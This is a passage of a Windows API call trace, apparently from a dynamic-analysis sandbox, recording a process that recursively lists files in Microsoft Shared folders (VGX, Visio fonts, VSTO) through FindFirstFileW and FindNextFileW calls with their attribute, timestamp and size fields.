hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0087.159] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.159] GetProcessHeap () returned 0x550000 [0087.159] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.159] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0087.159] GetProcessHeap () returned 0x550000 [0087.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0087.160] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.160] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0087.160] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0087.160] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.160] GetProcessHeap () returned 0x550000 [0087.163] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.163] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0087.164] GetProcessHeap () returned 0x550000 [0087.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0087.164] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.164] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0087.165] GetProcessHeap () returned 0x550000 [0087.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0087.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0087.428] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.428] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0087.428] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0087.428] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0087.428] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0087.429] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0087.429] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0087.429] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0087.429] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0087.429] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0087.430] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0087.430] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0087.430] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0087.457] GetProcessHeap () returned 0x550000 [0087.457] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0087.457] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0087.457] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.457] GetProcessHeap () returned 0x550000 [0087.457] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.844] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0087.844] GetProcessHeap () returned 0x550000 [0087.845] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0088.001] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.001] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0088.001] GetProcessHeap () returned 0x550000 [0088.001] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0088.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0088.329] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0088.329] GetProcessHeap () returned 0x550000 [0088.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0088.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0088.332] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.332] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0088.333] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0088.333] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0088.333] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0088.333] GetProcessHeap () returned 0x550000 [0088.333] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0088.333] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0088.334] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0088.334] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0088.334] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0088.334] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0088.334] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0088.334] GetProcessHeap () returned 0x550000 [0088.335] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0088.335] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0088.335] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, 